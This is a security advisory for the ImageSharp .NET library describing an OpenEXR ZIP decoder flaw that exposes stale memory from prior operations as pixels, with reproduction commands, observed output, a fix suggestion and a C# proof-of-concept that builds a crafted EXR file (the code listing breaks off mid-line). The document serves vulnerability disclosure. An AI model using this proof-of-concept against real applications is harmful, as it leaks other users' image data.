Summary
ImageSharp: EXR ZIP decoder can expose stale allocator data after a short inflate
Advisory details
Summary
A crafted ZIP-compressed OpenEXR image can return stale memory from a prior ImageSharp operation as decoded pixels. The ZIP decoder accepts a non-empty inflate result shorter than the EXR block's required size, then the EXR decoder reads the full expected block.
This is a process-local, cross-operation information-disclosure defect. It is
relevant when an application uses the shared Configuration.Default allocator
for separate image operations and exposes pixels or output derived from a later
attacker-controlled EXR decode. Whether that creates a network attack path
depends on the host application.
No active exploitation is known.
Affected package and versions
- Package:
SixLabors.ImageSharp(NuGet) - Affected published releases: 4.0.0, 4.1.0, and 4.1.1
- Affected range:
>= 4.0.0, <= 4.1.1 - Commit
0815358f9202a78bc7f3b83e19282dc3654b500fcorresponds to release v4.1.1.
EXR support first appears in v4.0.0. The cross-operation PoC exposes the prior-operation marker on each published 4.x release, while the full-inflate control does not expose it on any of them.
Details
For ZIP/ZIPS EXR compression, ExrDecoderCore
allocates the expected block buffer without AllocationOptions.Clean and later
interprets the complete buffer as channel data. ZipExrCompression
accepts a partial but non-empty inflate result: UndoZipCompression
rejects only totalRead == 0.
Only the returned prefix is reconstructed and interleaved into the destination
block. The remaining bytes retain allocator contents from a completed prior
operation. ExrDecoderCore then converts those bytes into returned image
pixels.
Reproduction
The attached Docker PoC uses the published SixLabors.ImageSharp NuGet package
version 4.1.1. It first completes a valid 64x1 FLOAT/ZIPS EXR encoding that
contains the test value 0.27182817. It then decodes a separate crafted 256x1
FLOAT/ZIPS EXR.
The exploit payload inflates to 8 bytes although the declared image block needs 1024 bytes. The control payload inflates to all 1024 bytes. The marker is present only in exploit output.
docker build -t imagesharp-4q3p-poc .
docker run --rm imagesharp-4q3p-poc exploit
docker run --rm imagesharp-4q3p-poc control
Test environment: Docker with mcr.microsoft.com/dotnet/sdk:8.0, .NET SDK
8.0.424 / .NET 8, Debian 12, Linux ARM64.
Observed output:
imagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f
mode=exploit
prior-operation=valid-exr-encode-completed bytes=383
prior-value=0.27182817
leaked=True first-prior-value-pixel=4
imagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f
mode=control
prior-operation=valid-exr-encode-completed bytes=383
prior-value=0.27182817
leaked=False first-prior-value-pixel=-1
Suggested remediation
Reject ZIP/ZIPS EXR blocks unless the decompressor produces exactly the expected uncompressed byte count. Clearing the destination buffer is defense in depth, but exact-length validation is required before parsing any decompressed bytes.
Complete PoC files
Program.cs:
using System.Buffers.Binary;
using System.Globalization;
using System.IO.Compression;
using System.Reflection;
using System.Text;
using SixLabors.ImageSharp;
using SixLabors.ImageSharp.Formats;
using SixLabors.ImageSharp.Formats.Exr;
using SixLabors.ImageSharp.Formats.Exr.Constants;
using SixLabors.ImageSharp.PixelFormats;
// This performs two independent completed ImageSharp operations in one process.
// The first is a valid EXR encoding containing a test value. The second is a
// malformed EXR decode whose short ZIP result exposes that value from the
// allocator shared through Configuration.Default.
internal static class Program
{
private const int PriorWidth = 64;
private const int AttackerWidth = 256;
private const float PriorValue = 0.271828182f;
private static int Main(string[] args)
{
bool exploit = args.Length == 0 || args[0] == "exploit";
if (args.Length > 0 && args[0] is not ("exploit" or "control"))
{
Console.Error.WriteLine("usage: final-4q3p [exploit|control]");
return 2;
}
Assembly imageSharp = typeof(Image).Assembly;
string informationalVersion = imageSharp
.GetCustomAttribute<AssemblyInformationalVersionAttribute>()?
.InformationalVersion
?? "(missing)";
Console.WriteLine(quot;imagesharp-assembly={imageSharp.GetName().Version} informational-version={informationalVersion}");
Console.WriteLine(quot;mode={(exploit ? "exploit" : "control")}");
EncodePriorOperation();
// Both variants declare a 256 x 1 FLOAT/ZIPS image, requiring 1024
// uncompressed bytes. The control payload supplies all 1024 bytes.
// The exploit payload supplies eight non-empty bytes.
byte[] exr = BuildAttackerExr(exploit ? 8 : AttackerWidth * sizeof(float));
using Image<RgbaVector> result = Image.Load<RgbaVector>(
new DecoderOptions { Configuration = Configuration.Default },
new MemoryStream(exr));
result.DangerousTryGetSinglePixelMemory(out Memory<RgbaVector> memory);
int firstLeak = FindPriorValue(memory.Span);
Console.WriteLine(quot;prior-value={PriorValue.ToString("R", CultureInfo.InvariantCulture)}");
Console.WriteLine(quot;leaked={firstLeak >= 0} first-prior-value-pixel={firstLeak}");
if ((firstLeak >= 0) != exploit)
{
Console.Error.WriteLine("unexpected disclosure result");
return 1;
}
return 0;
}
private static void EncodePriorOperation()
{
using var previousImage = new Image<RgbaVector>(PriorWidth, 1);
for (int x = 0; x < PriorWidth; x++)
{
previousImage[x, 0] = new RgbaVector(PriorValue, 0.125f, 0.5f, 1f);
}
using var encoded = new MemoryStream();
previousImage.Save(encoded, new ExrEncoder
{
Compression = ExrCompression.Zips,
PixelType = ExrPixelType.Float,
});
Console.WriteLine(quot;prior-operation=valid-exr-encode-completed bytes={encoded.Length}");
}
private static int FindPriorValue(ReadOnlySpan<RgbaVector> pixels)
{
int expectedBits = BitConverter.SingleToInt32Bits(PriorValue);
for (int x = 0; x < pixels.Length; x++)
{
if (BitConverter.SingleToInt32Bits(pixels[x].R) == expectedBits)
{
return x;
}
}
return -1;
}
private static byte[] BuildAttackerExr(int inflatedBytes)
{
byte[] compressed = ZlibCompress(new byte[inflatedBytes]);
using var output = new MemoryStream();
using var writer = new BinaryWriter(output);
writer.Write(new byte[] { 0x76, 0x2F, 0x31, 0x01 }); // OpenEXR magic
writer.Write((byte)2);
writer.Write(new byte[] { 0, 0, 0 });
using (var channels = new MemoryStream())
using (var channelWriter = new BinaryWriter(channels))
{
WriteString(channelWriter, "R");
channelWriter.Write(2); // FLOAT
channelWriter.Write((byte)0);
channelWriter.Write(new byte[] { 0, 0, 0 });
channelWriter.Write(1);
channelWriter.Write(1);
channelWriter.Write((byte)0);
WriteAttribute(writer, "channels", "ch
References
- https://github.com/advisories/GHSA-4q3p-rj5x-xv7p
- https://github.com/SixLabors/ImageSharp/security/advisories/GHSA-4q3p-rj5x-xv7p
- https://nvd.nist.gov/vuln/detail/CVE-2026-106111
- https://github.com/SixLabors/ImageSharp/pull/3187
- https://github.com/SixLabors/ImageSharp/commit/3c43cf583fdd98eff0f451397affaa31c6a2e6b1
- https://github.com/SixLabors/ImageSharp/commit/6ed2a275217d39301e76df42acec2a9533b39d2b
- https://github.com/SixLabors/ImageSharp/releases/tag/v4.1.2
Related vulnerabilities
All Supply chain →- HIGHCVE-2026-92708
devalue: `stringify`/`uneval` serialize shared memory
- HIGHCVE-2026-96627
Arcane: Delegated users:update permission allows admin account takeover via password reset (no privilege-hierarchy check)
- MEDIUMCVE-2026-96628
Arcane: Environment access token bypasses the admin-required authorization gate on `/api/debug/pprof`
- CRITICALCVE-2026-105192
LMCache: Remote code execution via unsafe deserialization in multiprocess mode transport
- HIGHCVE-2026-100349
kin-openapi openapi3filter: nil-pointer panic in ValidateResponse on a response header declared with content
- MEDIUMCVE-2026-58494
Wasmtime: WASI hard links bypass wasmtime-wasi's FilePerms for destination